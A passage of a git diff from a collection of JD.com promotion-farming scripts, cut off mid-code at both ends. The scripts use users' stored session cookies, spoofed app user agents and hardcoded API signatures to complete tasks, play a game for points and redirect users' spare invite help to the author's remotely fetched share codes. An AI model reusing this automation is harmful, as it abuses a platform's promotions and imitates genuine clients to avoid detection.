t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/wast/jd_jxlhb.js b/jd_jxlhb.js similarity index 95% rename from wast/jd_jxlhb.js rename to jd_jxlhb.js index d4fc5c8..7c16208 100755 --- a/wast/jd_jxlhb.js +++ b/jd_jxlhb.js @@ -46,10 +46,9 @@ const BASE_URL = 'https://wq.jd.com/cubeactive/steprewardv3' } console.log('京喜领88元红包\n' + '活动入口:京喜app-》我的-》京喜领88元红包\n' + - '助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者\n' + - '温馨提示:如提示助力火爆,可尝试寻找京东客服') - let res = []; - let res2 = await getAuthorShareCode('https://www.fastmock.site/mock/cbbb3764093b72da95d9396d19b9a901/jd/jx/jxlhb'); + '助力逻辑:脚本会助力作者,介意请取消脚本') + let res = await getAuthorShareCode() || []; + let res2 = await getAuthorShareCode('https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jxhb.json') || []; if (res && res.activeId) $.activeId = res.activeId; $.authorMyShareIds = [...((res && res.codes) || []), ...res2]; //开启红包,获取互助码 @@ -62,26 +61,26 @@ const BASE_URL = 'https://wq.jd.com/cubeactive/steprewardv3' await main(); } //互助 - console.log(`\n\n自己京东账号助力码:\n${JSON.stringify($.packetIdArr)}\n\n`); - console.log(`\n开始助力:助力逻辑 先自己京东相互助力,如有剩余助力机会,则助力作者\n`) for (let i = 0; i < cookiesArr.length; i++) { cookie = cookiesArr[i]; $.canHelp = true; $.max = false; $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - for (let code of $.packetIdArr) { - if (!code) continue; - if ($.UserName === code['userName']) continue; - if (!$.canHelp) break - if ($.max) break - console.log(`【${$.UserName}】去助力【${code['userName']}】邀请码:${code['strUserPin']}`); - await enrollFriend(code['strUserPin']); - await $.wait(2500); - } + for (let code of $.packetIdArr) { + if (!code) continue; + if ($.UserName === code['userName']) continue; + if (!$.canHelp) break + if ($.max) break + console.log(`【${$.UserName}】去助力【${code['userName']}】邀请码:${code['strUserPin']}`); + await enrollFriend(code['strUserPin']); + await $.wait(2500); + } if ($.canHelp) { + console.log(`\n【${$.UserName}】有剩余助力机会,开始助力作者\n`) for (let item of $.authorMyShareIds) { if (!item) continue; if (!$.canHelp) break + console.log(`【${$.UserName}】去助力作者的邀请码:${item}`); await enrollFriend(item); await $.wait(2500); } @@ -198,6 +197,7 @@ function enrollFriend(strPin) { if (data.iRet === 2015) $.canHelp = false;//助力已达上限 if (data.iRet === 2016) { $.canHelp = false;//助力火爆 + console.log(`温馨提示:如提示助力火爆,可尝试寻找京东客服`); } if (data.iRet === 2013) $.max = true; console.log(`助力失败:${data.sErrMsg}\n`); @@ -240,10 +240,10 @@ function openRedPack(strPin, grade) { }) } -function getAuthorShareCode(url = "https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jxhb.json") { +function getAuthorShareCode(url = "https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jxhb.json") { return new Promise(resolve => { const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { + url: `${url}`, "timeout": 10000, headers: { "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" } }; diff --git a/jd_ljd.js b/jd_ljd.js new file mode 100755 index 0000000..1a39737 --- /dev/null +++ b/jd_ljd.js @@ -0,0 +1,228 @@ +/* +// https://h5.m.jd.com/rn/42yjy8na6pFsq1cx9MJQ5aTgu3kX/index.html + +入口:首页-领京豆-升级赚京豆 +21 9 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_MMdou.js, tag=MM领京豆, enabled=true + +*/ + +const $ = new Env('MM领京豆'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const jdVersion = '10.0.8' +const iphoneVersion = [Math.ceil(Math.random()*2+12),Math.ceil(Math.random()*4)] +const UA = `jdapp;iPhone;${jdVersion};${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};network/wifi;model/iPhone12,1;addressid/0;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS ${iphoneVersion[0]}_${iphoneVersion[1]} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +const UUID = UA.split(';') && UA.split(';')[4] || '' +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】宠汪汪积分兑换奖品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i] + ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); + await run(); + } + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +async function run() { + try{ + $.taskList = []; + await takePostRequest('beanTaskList') + console.log(`做任务\n`); + if($.viewAppHome && $.viewAppHome.takenTask == false){ + $.IconDoTaskFlag = 0 + console.log(`做任务:${$.viewAppHome.mainTitle};等待完成`); + await takePostRequest('beanHomeIconDoTask') + await $.wait(getRndInteger(2500, 3500)) + } + if($.viewAppHome && $.viewAppHome.doneTask == false){ + $.IconDoTaskFlag = 1 + console.log(`做任务:${$.viewAppHome.mainTitle}`); + await takePostRequest('beanHomeIconDoTask') + await $.wait(getRndInteger(1000, 1500)) + } + + do{ + await task() + await $.wait(getRndInteger(1000, 1500)) + await takePostRequest('beanTaskList1') + }while ($.taskFlag) + + await $.wait(getRndInteger(1000, 1500)) + }catch (e) { + console.log(e); + } +} + +async function task() { + await $.wait(getRndInteger(1000, 1500)) + //做任务 + $.taskFlag = false + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if ($.oneTask.status === 1) { + $.activityInfoList = $.oneTask.subTaskVOS; + for (let j = 0; j < $.activityInfoList.length; j++) { + $.taskFlag = true + $.oneActivityInfo = $.activityInfoList[j]; + console.log(`做任务:${$.oneActivityInfo.title};等待完成`); + $.actionType = 0 + if($.oneTask.taskType == 9){ + $.actionType = 1 + await takePostRequest('beanDoTask'); + await $.wait(getRndInteger(4000, 5500)) + $.actionType = 0 + } + await takePostRequest('beanDoTask'); + await $.wait(getRndInteger(2000, 2500)) + } + }else if ($.oneTask.status === 2){ + console.log(`任务:${$.oneTask.taskName};已完成`); + }else{ + console.log(`任务:${$.oneTask.taskName};未能完成\n${JSON.stringify($.oneTask)}`); + } + } +} + +async function takePostRequest(type) { + let body = ``; + let myRequest = ``; + switch (type) { + case 'beanTaskList': + case 'beanTaskList1': + body = `{"viewChannel":"AppHome"}`; + myRequest = await getGetRequest(`beanTaskList`, escape(body)); + break; + case 'beanHomeIconDoTask': + body = `{"flag":"${$.IconDoTaskFlag}","viewChannel":"AppHome"}`; + myRequest = await getGetRequest(`beanHomeIconDoTask`, escape(body)); + break; + case 'beanDoTask': + body = `{"actionType":${$.actionType},"taskToken":"${$.oneActivityInfo.taskToken}"}`; + myRequest = await getGetRequest(`beanDoTask`, escape(body)); + break; + default: + console.log(`错误${type}`); + } + if (myRequest) { + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + // console.log(data); + dealReturn(type, data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) + } +} + +async function dealReturn(type, res) { + try { + data = JSON.parse(res); + } catch (e) { + console.log(`返回异常:${res}`); + return; + } + switch (type) { + case 'beanTaskList': + if (data.code == 0 && data.data) { + console.log(`当前等级:${data.data.curLevel || 0} 下一级可领取:${data.data.nextLevelBeanNum || 0}京豆`) + $.taskList = data.data.taskInfos && data.data.taskInfos || []; + $.viewAppHome = data.data.viewAppHome && data.data.viewAppHome || {}; + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(res); + } + break; + case 'beanTaskList1': + if (data.code == 0 && data.data) { + $.taskList = data.data.taskInfos && data.data.taskInfos || []; + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(res); + } + break; + case 'beanDoTask': + case 'beanHomeIconDoTask': + if (data.data && (data.data.bizMsg || data.data.remindMsg)) { + console.log((data.data.bizMsg || data.data.remindMsg)); + if(data.data.growthResult && data.data.growthResult.sceneLevelConfig){ + console.log(`获得:${data.data.growthResult.sceneLevelConfig.beanNum || 0}京豆`) + if(!data.data.growthResult.sceneLevelConfig.beanNum){ + console.log(JSON.stringify(data.data.growthResult.sceneLevelConfig)) + } + } + } else { + console.log(res); + } + break; + default: + console.log(`未判断的异常${type}`); + } +} +async function getGetRequest(type, body) { + let url = `https://api.m.jd.com/client.action?functionId=${type}&body=${body}&appid=ld&client=apple&clientVersion=${jdVersion}&networkType=wifi&osVersion=${iphoneVersion[0]}.${iphoneVersion[1]}&uuid=${UUID}&openudid=${UUID}`; + const method = `GET`; + const headers = { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + 'Cookie': $.cookie, + "Referer": "https://h5.m.jd.com/", + "User-Agent": UA, + }; + return {url: url, method: method, headers: headers}; +} +// 随机数 +function getRndInteger(min, max) { + return Math.floor(Math.random() * (max - min) ) + min; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_lsj.js b/jd_lsj.js index 0209aea..1041eac 100755 --- a/jd_lsj.js +++ b/jd_lsj.js @@ -1,9 +1,12 @@ /* #京东零食街 -cron 0 11 * * * jd_lsj.js -panghu999 -后续添加自动兑换功能 如入会失败 自行去入会 -入口 京东 频道 美食馆 +#入口 京东 频道 美食馆 + +由zero205基于柠檬大佬原版修改 +取消入会,加购功能 +优化脚本输出,查询金币数量,添加金币兑换牛奶提醒 +助力逻辑:优先账号内互助,然后再帮我助力 + 零食街自动兑换变量 export lsjdh="jdAward1" ##兑换5豆 export lsjdh="jdAward2" ##兑换10豆 @@ -22,627 +25,638 @@ let useInfo = {}; let cookiesArr = [], cookie = '', message; let newShareCodes = []; let lsjdh = ''; -if (process.env.lsjdh) { - lsjdh = process.env.lsjdh; +if ($.isNode() && process.env.lsjdh) { + lsjdh = process.env.lsjdh; } if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + if (lsjdh.length !== 0) { + $.log("检测到您设置了兑换变量,开始兑换") + await duihuan() + } + await start() + } + } + console.log(`\n开始账号内互助\n`); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if (!useInfo[$.UserName]) continue; + $.canHelp = true; + for (let j = 0; j < newShareCodes.length && $.canHelp; j++) { + $.oneCodeInfo = newShareCodes[j]; + if ($.UserName === newShareCodes[j].usr || $.oneCodeInfo.max) { + continue; + } + console.log(`${$.UserName}去助力${newShareCodes[j].usr}`) + nick = useInfo[$.UserName]; + await dohelp(newShareCodes[j].code); + await $.wait(3000) + } + } + await $.wait(1000) + console.log(`\n开始帮【zero205】助力,感谢!\n`); + let shareCodes = [ + '28D1B0FF74A7A1D4FBE02ED2FA90A9F3C49D80AFF03099EF32C50897D923F6F049336DE54E26AA8F2834B248E6398CB7A755DF4FDAE585EC3E1ABE26F3DD3CFFC956D12974FF00A045D8E31A84FE84C18A8357DE96A1F617B8AC4D64BC24B689', + '16C819C7B4D681C695A9D56F0F58F2FC7BD1102FE0B67DE91732CDD3AAE6028C49336DE54E26AA8F2834B248E6398CB7A755DF4FDAE585EC3E1ABE26F3DD3CFFC956D12974FF00A045D8E31A84FE84C18A8357DE96A1F617B8AC4D64BC24B689', + '03993DF61B85FE5639C3B364280671045FD22655FE89C43DEEABD6252DA532CF652DFCA338160A7673C5812A45C0EC3FEB6090E56CFD81F696A17988574F70D0DDDA672BF446E2FCC0D1D6B4E52826D1' + ]; + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if (!useInfo[$.UserName]) continue; + $.canHelp = true; + for (let j = 0; j < shareCodes.length && $.canHelp; j++) { + $.oneCodeInfo = shareCodes[j]; + if ($.UserName === shareCodes[j].usr || $.oneCodeInfo.max) { + continue; + } + console.log(`${$.UserName}去助力【zero205】`) + nick = useInfo[$.UserName]; + await dohelp(shareCodes[j]); + await $.wait(3000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function start() { + await gettoken() + await $.wait(1000) + await getinfo() + $.log("开始领取首页水滴") + await dotree(1) + await $.wait(3000) + await dotree(2) + await $.wait(3000) + await dotree(3) + await $.wait(3000) + $.log("开始浏览会场") + await doliulan(1) + await $.wait(3000) + await doliulan(2) + await $.wait(3000) + await doliulan(3) + //await gettask() + $.log("开始浏览旗舰店") + await doshop(1000014803) + await $.wait(3000) + await doshop(10299171) + await $.wait(3000) + await doshop(1000077335) + await $.wait(3000) + await doshop(1000008814) + await $.wait(3000) + await doshop(1000101562) + $.log("开始浏览推荐商品") + await doGoods(1) + await $.wait(3000) + await doGoods(2) + await $.wait(3000) + await doGoods(3) + await $.wait(3000) + await doGoods(4) + $.log("开始游戏刷分") + await playgame() } -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; +function getinfo() { + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/loading?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"0cbfd4c4e08937bac904b631d7b99c6f","timestamp":1627491433691,"userId":"10299171"},"admJson":{"inviteNick":null,"method":"/foodRunning/loading","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":"10299171"}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "Sec-Fetch-Site": "same-origin", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;android;10.0.4;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/88641;partner/oppo;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + } } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.success) { + if (data.data.status === 200) { + $.cion = data.data.data.customer.remainChance; + console.log(`\n查询成功:京东账号【${$.nickName || $.UserName}】当前剩余金币为:${$.cion}`) + if ($.cion > 750000) { + $.msg($.name, `【提示】\n京东账号【${$.nickName || $.UserName}】已可兑换牛奶`, `兑换入口:京东APP-美食馆-瓜分京豆\n每天10点开始兑换,祝您好运!`, 